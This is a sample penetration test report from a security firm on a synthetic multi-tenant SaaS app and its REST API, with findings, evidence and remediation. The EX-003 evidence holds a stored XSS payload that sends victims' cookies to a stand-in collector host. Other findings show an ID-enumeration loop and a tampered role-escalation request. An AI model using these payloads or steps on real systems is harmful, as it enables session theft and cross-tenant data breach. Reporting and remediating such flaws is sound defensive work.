Web Application & API Penetration Test Report
Enterprise SaaS Platform · app.example.com · api.example.com/v1
| Assessment type | Grey-box agentic penetration test of a multi-tenant web application and REST API, with human operator validation |
|---|---|
| Target platform | Multi-tenant enterprise SaaS (single-page application + REST API) |
| Testing window | Sample engagement, dates redacted |
| Report date | Sample |
| Report version | 1.0 (Sample) |
| Validation | All findings reproduced by a named offensive-security operator prior to issue |
| Classification | TLP-CLEAR, anonymised sample approved for external sharing |
Contents
1. Executive Summary
This report presents the results of an authorised penetration test of a multi-tenant enterprise SaaS web application and its supporting REST API. Testing was performed from the position of an external attacker holding a single low-privilege authenticated account, with particular attention to tenant-isolation boundaries, authorisation on privileged actions, handling of user-supplied content, and authentication controls.
The engagement identified five findings: one Critical, two High, one Medium and one Low. The Critical and High issues share one root cause: authorisation decisions made on the client, or inferred from client-supplied input, rather than enforced server-side against the acting principal and the target object. Those are the issues to prioritise.
Every finding in this report was reproduced by hand by an offensive-security operator before it was written up. A further 31 candidate issues raised by the agentic testing phase were discarded at the validation gate because no reachable impact could be demonstrated. They are deliberately absent from this report rather than listed as informational noise.
1.1 Overall security posture
The dominant risk is a failure of server-side authorisation. The most severe finding (EX-001) allows an authenticated user to read another organisation's records by editing a predictable object identifier, a complete breakdown of tenant isolation on the affected API path. EX-002 follows the same pattern on a privileged write action, letting a member-level account reach an administrator-only capability. Together they indicate that authorisation is not consistently enforced at the server boundary.
The remaining findings are a stored cross-site scripting issue in shared workspace content (EX-003), which turns one tenant's user into an attacker against their colleagues, and two hardening gaps, weak authentication rate limiting (EX-004) and an incomplete security-header baseline (EX-005), that widen the blast radius of the issues above rather than being directly exploitable alone.
1.2 Findings by severity
| Severity | Count | Findings |
|---|---|---|
| CRITICAL | 1 | EX-001 |
| HIGH | 2 | EX-002, EX-003 |
| MEDIUM | 1 | EX-004 |
| LOW | 1 | EX-005 |
| INFORMATIONAL | 0 | n/a |
1.3 The risks that matter most
Cross-tenant data exposure (EX-001, Critical). A predictable object identifier on a record-retrieval endpoint is not checked against the caller's tenant. Any authenticated user can iterate identifiers and read records belonging to other organisations. This is the single most urgent issue: it is trivial to exploit, requires only a valid account, and exposes customer data across the organisational boundary.
Privilege escalation on the role-change flow (EX-002, High). The server trusts a client-supplied role context when processing a role update, so a member-level account can reach an administrator-only action. Chained with EX-001, an attacker moves from reading other tenants' data to acting with elevated privilege inside them.
Stored XSS in shared workspace content (EX-003, High). Rich content saved in a shared workspace is rendered to other authorised users without adequate encoding, so script stored by one user executes in a colleague's authenticated session.
1.4 Positive observations
- Authentication uses short-lived bearer tokens over TLS 1.3; no plaintext credential storage was observed.
- Tenant isolation is enforced correctly on the majority of API routes tested. EX-001 is a localised gap, not a total absence of access control.
- No injection into the primary data store was identified on any tested endpoint.
- Infrastructure patching on internet-facing hosts was current throughout the testing window.
These observations describe a platform with a reasonable security baseline. The findings concentrate in specific authorisation and output-handling paths that can be closed without architectural change.
1.5 Strategic remediation priorities
- Enforce server-side, per-object tenant ownership checks on every resource access, and add authorisation tests to the regression suite (EX-001).
- Authorise privileged capabilities at the server boundary instead of trusting client-supplied role context (EX-002).
- Apply contextual output encoding and allowlist sanitisation to user-supplied content, backed by a restrictive Content-Security-Policy (EX-003).
- Add adaptive rate limiting and per-account protections to authentication (EX-004).
- Complete the security-header baseline (EX-005).
The first two are the highest-leverage actions: they address the systemic authorisation weakness rather than a single endpoint.
2. Assessment Overview
2.1 Objectives
Evaluate the security posture of the in-scope web application and API from the position of an external attacker holding a low-privilege authenticated account, and determine whether such an attacker can cross tenant boundaries, escalate privilege, compromise other users, or abuse authentication controls.
2.2 Scope
app.example.com, the single-page web application.api.example.com/v1, the REST API backing the application.
Testing was authenticated as a standard member-level account within one tenant, plus a second tenant used only to confirm cross-tenant boundaries. Asset ownership was verified in writing before testing began.
2.3 Rules of engagement
Testing was non-destructive. State-changing and cross-tenant write actions were confirmed only to the point of demonstrating the weakness, without persisting changes in other tenants. Denial-of-service and social-engineering techniques were out of scope. A named operator was reachable throughout the testing window, and a Critical-severity escalation path to the client security contact was agreed in advance.
2.4 Methodology
The assessment ran in two phases. An agentic testing phase performed reconnaissance, asset attribution, enumeration and multi-stage exploitation across the scoped surface, chaining candidate exposures into attack paths. A human validation phase followed, in which an offensive-security operator reproduced each candidate finding, re-rated severity against business context, discarded candidates without reachable impact, and extended paths where the automated phase stopped short.
Coverage followed the OWASP Web Security Testing Guide, the OWASP API Security Top 10 and PTES, spanning authentication and session management, object- and function-level authorisation, input validation and output handling, business-logic flaws, and configuration and transport hardening.
2.5 Validation and severity standard
Findings carry a CVSS 3.1 base vector and score for reference, but the final severity reflects business impact in a multi-tenant enterprise context and may differ from the CVSS base. EX-001 is the clearest example: its demonstrated read-only base score is High, but because the flaw breaks tenant isolation across every customer organisation, its business risk is rated Critical. Where impact depends on conditions not exercised under the rules of engagement, the finding states so and the rating reflects only what was demonstrated.
3. Risk Summary
| ID | Finding | Severity | Category | Affected area |
|---|---|---|---|---|
| EX-001 | Cross-tenant access via API object IDs | CRITICAL | Authorisation / API | GET /api/v1/records/{id} |
| EX-002 | Privilege escalation through role update flow | HIGH | Access control / Logic | POST /api/v1/members/role |
| EX-003 | Stored XSS in shared workspace content | HIGH | XSS / Web | Workspace editor content |
| EX-004 | Insufficient authentication rate limiting | MEDIUM | Authentication | POST /auth/login |
| EX-005 | Incomplete security header baseline | LOW | Hardening / Web | Response headers |
3.1 How to read severity
Critical issues expose data or capability across tenants, or without meaningful precondition, and demand immediate action. High issues allow compromise of another user or privilege under realistic conditions. Medium issues weaken a control or enable abuse that raises the likelihood of compromise. Low issues are hardening gaps that improve defence-in-depth. Severity shown is the final, business-adjusted rating; the CVSS base vector for each finding appears in its metadata block.
4. Detailed Findings
Each finding follows a consistent structure: a metadata block, an executive summary, a technical description, illustrative evidence, reproduction steps, an analysis of security impact and a realistic attack scenario, the underlying root cause, remediation and defence-in-depth guidance, and verification steps your engineering team can use to confirm the fix.
Cross-Tenant Access via API Object Identifiers
Executive summary
A record-retrieval endpoint accepts a numeric, sequential object identifier and returns the record without checking that it belongs to the caller's organisation. Because the identifiers are predictable, any authenticated user can iterate them and read records belonging to other tenants. This is a complete breakdown of tenant isolation on the affected path. It needs only a valid low-privilege account and no special conditions, which is why the business rating sits above the read-only CVSS base.
Technical description
The endpoint identifies the target record solely by the {id} path parameter. Authorisation
is enforced at the authentication layer, where a valid bearer token is required, but not at the object layer:
the server does not verify that the record identified by {id} is owned by the tenant
associated with the token. This is the archetypal Broken Object Level Authorization pattern.
Identifiers are integers assigned sequentially, so an attacker does not need to discover valid IDs. They
can increment or decrement their own record IDs and walk the space. The response body for a record
belonging to another tenant is returned in full, with 200 OK, identical in shape to a
legitimately owned record.
Evidence
# Own record (tenant A), authorised
GET /api/v1/records/4021 Authorization: Bearer <tenant-A token>
-> 200 OK {"id":4021,"org_id":"A","title":"Q3 plan", ...}
# Neighbouring id, belongs to tenant B, still returned to tenant A
GET /api/v1/records/4022 Authorization: Bearer <tenant-A token>
-> 200 OK {"id":4022,"org_id":"B","title":"Board pack", ...}
^^^^^^^^^^ different org_id, no 403
# Enumeration confirms the pattern across the range
for id in 4000..4100: GET /api/v1/records/{id}
-> 200 OK for records owned by 7 distinct org_id values
org_id is returned with 200 OK rather than 403. All values are synthetic.Reproduction
- Authenticate as a standard member of tenant A and retrieve one of your own records to learn a valid
{id}. - Send the same request with an adjacent identifier, for example
{id} - 1. - Observe a
200 OKwhoseorg_iddiffers from your own, confirming a cross-tenant read. - Iterate a small range to confirm that records from multiple organisations are reachable.
Security impact
Direct impact: disclosure of arbitrary records belonging to other tenants. Any authenticated user can read data they have no relationship to.
Preconditions: a single valid low-privilege account. No relationship to the target tenant is required, and the sequential identifiers remove any need to guess.
Business impact: the flaw is not scoped to one victim. It reaches every tenant whose records share the endpoint, making it a platform-wide confidentiality breach. For a multi-tenant enterprise product this is the class of issue that triggers breach-notification obligations under GDPR Article 33 and equivalent regimes, and the class of issue that ends enterprise renewals.
Attack scenario
An attacker signs up for, or compromises, any low-privilege account. They script a walk over the identifier space and harvest records across all tenants (commercial terms, personal data and internal documents) within minutes, entirely through the documented API and without tripping any authorisation control or rate limit.
Root cause
Authorisation is enforced at authentication time (is this token valid?) but not at object-access time (does this token's tenant own this object?). The identifier is user-controlled and trusted as though possession of an ID implied entitlement to the object it names.
Remediation
- Enforce a server-side tenant-ownership check on every object access: resolve the object, compare its owning tenant to the caller's, and return
404, not403which would confirm existence, when they differ. - Prefer scoping queries by tenant at the data layer (for example
WHERE org_id = :caller_org) so an unowned object is never loaded in the first place. - Replace sequential integer identifiers on tenant-scoped resources with non-guessable UUIDs, so even a residual gap cannot be swept by enumeration.
- Add authorisation test cases to the API regression suite asserting that a tenant-A token receives
404for a tenant-B object on every object-bearing route.
Defence in depth
Audit every route that accepts an object identifier for the same pattern, not only the one demonstrated. BOLA is typically systemic rather than isolated. Add anomaly detection for a single principal requesting many distinct object IDs in a short window, and consider a centralised authorisation layer so per-object checks are not left to each handler to remember.
Verification
After remediation, confirm that a tenant-A token receives 404 for a tenant-B identifier on
this and sibling endpoints, that the response is indistinguishable for a non-existent versus an unowned
identifier, and that the new regression tests fail if the ownership check is removed. Exceed retests this
path and issues a signed attestation at no additional cost.
Privilege Escalation Through the Role Update Flow
Executive summary
The role-update endpoint determines the caller's authority from a role value supplied in the request body rather than from the authenticated session. A member-level account can therefore invoke an administrator-only capability and grant itself elevated privilege within its own tenant.
Technical description
The web client sends an actor_role field alongside the role change it wants to apply. The
server uses that field to decide whether the operation is permitted, instead of resolving the acting
principal's role server-side from the bearer token. Because the field originates on the client, it is
attacker-controlled.
Evidence
# Member-level token; actor_role tampered from "member" to "admin"
POST /api/v1/members/role Authorization: Bearer <member token>
{
"member_id": "usr_8841",
"new_role": "admin",
"actor_role": "admin" <-- client-supplied, trusted by server
}
-> 200 OK {"member_id":"usr_8841","role":"admin"}
# Confirmation: the member now reaches an admin-only route
GET /api/v1/org/audit-log Authorization: Bearer <same member token>
-> 200 OK (previously 403)
Reproduction
- Authenticate as a member-level account and open the member management view.
- Intercept the role-update request and change
actor_rolefrommembertoadmin. - Observe a
200 OKand the applied role change. - Call a previously forbidden administrator route and observe that it now succeeds.
Security impact and attack scenario
Any member-level account becomes an administrator of its tenant: able to read the audit log, change member roles, alter billing configuration and remove other administrators. Chained with EX-001, an attacker first reads data across tenants and then operates with administrative privilege, a materially worse outcome than either finding alone, and the reason both are prioritised together.
Root cause
The authorisation decision trusts input that the client controls. The acting principal's privilege is a property of the session, not of the request body, and must be resolved server-side on every privileged operation.
Remediation
- Resolve the acting principal's role server-side from the authenticated session and ignore any role context supplied in the request. Reject requests that carry it rather than silently discarding it.
- Enforce function-level authorisation in middleware so privileged routes cannot be reached without the check, rather than relying on each handler.
- Apply a role-hierarchy rule preventing any principal from granting a privilege it does not itself hold.
- Emit an audit event for every role change, recording the server-resolved actor rather than the claimed one.
Verification
Confirm that a member token receives 403 regardless of any role fields in the body, that the
audit log records the server-resolved actor, and that a regression test fails if the middleware check is
bypassed.
Stored Cross-Site Scripting in Shared Workspace Content
Executive summary
Rich content saved into a shared workspace is rendered to other authorised users without adequate sanitisation. Script stored by one user executes in a colleague's authenticated session, inside the application origin.
Technical description
The editor permits a subset of HTML for formatting. Sanitisation is applied on the client before saving but is not repeated on the server or at render time, so a request crafted outside the browser stores markup the editor itself would have stripped. Event-handler attributes survive storage and are rendered into the DOM of every user who opens the workspace.
Evidence
# Stored directly via the API, bypassing the client-side sanitiser
PUT /api/v1/workspaces/ws_304/blocks/b_77
{ "html": "<img src=x onerror=\"fetch('//collector.example/'+document.cookie)\">" }
-> 200 OK
# Rendered verbatim for a second user in the same workspace
GET /workspaces/ws_304 (as a different authorised member)
-> payload executes in the victim's authenticated session
Security impact and attack scenario
A low-privileged user, or anyone who compromises one account, stores a payload in a shared workspace and waits. Every colleague who opens it executes attacker-controlled script in the application origin, allowing session theft, silent action on the victim's behalf, or exfiltration of any data the victim can see. Chained with EX-002, the attacker can target an administrator specifically and inherit tenant administration.
Root cause
Sanitisation is enforced on the client, where an attacker controls the code, rather than on the server, where the application controls it. The absence of a restrictive Content-Security-Policy (see EX-005) removes the control that would otherwise contain the impact.
Remediation
- Sanitise on the server at write time using a strict allowlist of elements and attributes, and reject rather than silently strip disallowed markup.
- Apply contextual output encoding at render time; never interpolate stored HTML into the DOM via
innerHTML. - Deploy a restrictive
Content-Security-Policywithoutunsafe-inline, using nonces or hashes for legitimate scripts. - Re-scan existing stored content for payloads saved before the fix. Remediation of the code path does not clean historical data.
Verification
Confirm that markup stored directly through the API is neutralised at render, that CSP blocks inline execution, and that the historical content sweep has completed.
Insufficient Rate Limiting on Authentication
Executive summary
The authentication endpoint applies a per-IP request threshold but no per-account control. An attacker distributing attempts across source addresses can test a large credential set against a known username without triggering a lockout.
The agentic phase rated this High on the basis of the missing per-account control. On validation, the operator confirmed that an upstream WAF policy enforces an additional distributed-attempt threshold that materially raises the cost of the attack, and that multi-factor authentication is enforced on all administrative accounts. The finding is real and should be fixed, but the demonstrated impact does not support a High rating in this environment. This is the kind of adjustment an automated-only assessment cannot make.
Evidence and reproduction
# Single source address, throttled as expected
120 attempts from one IP -> 429 after 20 attempts
# Same volume distributed across 40 source addresses
120 attempts, 3 per source -> 200/401 responses, no account lockout observed
(WAF distributed-attempt policy engages at a higher threshold)
Remediation
- Add a per-account attempt counter independent of source address, with exponential backoff and a notification to the account owner.
- Introduce a proof-of-work or CAPTCHA challenge after a low threshold of failures against a single account.
- Extend enforced multi-factor authentication beyond administrative accounts to all users.
- Alert the SOC on distributed authentication failures targeting a single account, a signal currently not generated.
Incomplete Security Header Baseline
Executive summary
Several defence-in-depth response headers are absent or permissive. No finding depends on this alone, but the gaps remove controls that would have limited the impact of EX-003.
| Header | Observed | Recommended |
|---|---|---|
Content-Security-Policy | Absent | Nonce-based, no unsafe-inline |
Strict-Transport-Security | max-age=300 | max-age=31536000; includeSubDomains; preload |
X-Content-Type-Options | Absent | nosniff |
Referrer-Policy | Absent | strict-origin-when-cross-origin |
Permissions-Policy | Absent | Deny unused features explicitly |
X-Frame-Options | SAMEORIGIN | Retain, plus CSP frame-ancestors |
Remediation
Apply the recommended baseline at the edge so coverage does not depend on individual services. Roll
Content-Security-Policy out in report-only mode first, review the violation reports, then enforce.
Raise max-age on HSTS only once subdomain coverage is confirmed, to avoid locking out a
service that is not yet TLS-only.
5. Cross-Cutting Analysis
5.1 Systemic root causes
Three of the five findings trace to a single architectural habit: trusting the client with a security decision. EX-001 trusts a user-supplied identifier to imply entitlement. EX-002 trusts a user-supplied role to imply authority. EX-003 trusts client-side sanitisation to guarantee safe content. In each case the server holds the information needed to make the decision correctly and does not use it.
Remediating the three endpoints individually will close these findings. Remediating the habit, by moving authorisation and sanitisation into middleware that every route traverses, prevents the next three.
5.2 Attack-chaining assessment
The findings compound. The realistic worst-case path demonstrated during this engagement:
- Attacker obtains any low-privilege account on the platform.
- EX-001: enumerates object identifiers and reads records across every tenant, identifying a high-value target organisation and the identity of its administrators.
- EX-003: stores a payload in a workspace shared with that organisation's administrator.
- EX-002: the executing payload invokes the role-update flow with a tampered role context, elevating a controlled account to administrator.
- Outcome: full administrative control of the target tenant, with cross-tenant read access retained throughout.
Each step was individually validated by the operator. The chain is presented to convey realistic risk, and was not executed end to end against any live tenant under the rules of engagement.
6. Remediation Roadmap
| Window | Action | Findings |
|---|---|---|
| Immediate 0 to 7 days |
Server-side tenant-ownership checks on all object-bearing routes. Server-side resolution of actor role on privileged operations. Both are small, contained changes with disproportionate risk reduction. | EX-001, EX-002 |
| Near term 2 to 4 weeks |
Server-side sanitisation and contextual output encoding; Content-Security-Policy in report-only then enforced; historical content sweep. CSP depends on the header work below. | EX-003, EX-005 |
| Hardening 1 to 2 months |
Per-account authentication throttling, universal MFA, SOC alerting on distributed authentication failure. Complete the security header baseline at the edge. | EX-004, EX-005 |
| Structural Next quarter |
Migrate tenant-scoped resources to non-guessable identifiers. Centralise authorisation in middleware. Add authorisation assertions to the API regression suite so these classes cannot regress silently. | Systemic |
When remediation ships, Exceed retests the affected paths and issues a signed retest attestation recording what was fixed, what was verified and what remains open. That attestation is the artefact your SOC 2, ISO 27001 or PCI DSS assessor asks for. It is included in the engagement, not billed as a change order.
Appendix A: Methodology & Tooling
Testing followed a two-phase model. The agentic phase performed reconnaissance, asset attribution, enumeration, authentication and authorisation testing, injection and business-logic probing, and multi-stage attack-path chaining across the authorised scope. The human validation phase was performed by a certified offensive-security operator who reproduced every candidate finding, re-rated severity against business context, discarded candidates without reachable impact, and extended attack paths where the automated phase stopped short.
Standards and references applied: OWASP Web Security Testing Guide (WSTG), OWASP API Security Top 10 (2023), OWASP Top 10 (2021), PTES, CWE, and CVSS 3.1 for base scoring. Tooling combined the Exceed agentic engine with an intercepting proxy, custom exploitation scripts written during the engagement, and manual verification for every reported issue.
Candidates discarded at the validation gate during this engagement: 31. These comprised version-string CVE matches with no exploitable path, informational disclosures without a trust boundary crossing, and theoretical misconfigurations mitigated by compensating controls. They are excluded from this report by design: a report of proven issues is more useful to an engineering team than an exhaustive export of possibilities.
Appendix B: Scope & Testing Limitations
- Testing covered the in-scope web application and REST API only. Underlying cloud infrastructure, the corporate network and third-party integrations were out of scope unless reachable from the authorised surface.
- Denial-of-service, physical and social-engineering techniques were excluded by the rules of engagement.
- Cross-tenant write operations were demonstrated to the point of proving the weakness and were not persisted in any tenant other than the dedicated test tenants.
- Findings reflect the application state within the testing window. Subsequent deployments may introduce changes not covered by this report. This is the reason continuous assurance is recommended alongside point-in-time testing.
- Absence of a finding is not evidence of absence of a weakness. This report documents what was demonstrated, not everything that may exist.
Appendix C: Compliance Mapping
The sections of this report that assessors most commonly request as control evidence:
| Framework | Control | Evidence in this report |
|---|---|---|
| SOC 2 Type II | CC4.1, CC7.1 | §2 scope and methodology; §3 risk summary; §4 findings with evidence; retest attestation issued separately |
| ISO/IEC 27001:2022 | A.8.8, A.8.29 | §2.4 methodology; §4 technical vulnerability detail; §6 remediation roadmap with owners and windows |
| PCI DSS 4.0 | Req. 11.4.1 to 11.4.5 | §2.2 scope; §2.3 rules of engagement; §4 findings; retest attestation covering 11.4.4 |
| DORA | Art. 24 to 26 | §2.4 methodology; §5.2 attack-chaining assessment; threat-led testing available as a separate engagement |
| NIS2 | Art. 21(2) | §1 posture assessment; §4 findings; §6 roadmap evidencing effectiveness review |
Exceed CyberSecurity provides technical testing and evidence supporting these requirements. We are not your auditor, assessor or QSA, and no engagement constitutes a certification.
Sample report, safe for external sharing. Prepared by Exceed CyberSecurity to demonstrate the structure, evidence standard and remediation guidance delivered on every engagement. No client-identifying information is contained in this document, and all findings, identifiers, endpoints and evidence are synthetic.
Exceed CyberSecurity · hi@exceedcybersecurity.com · exceedcybersecurity.com. Agentic penetration testing, validated by human operators. Built by the offensive security team at Hacktivity.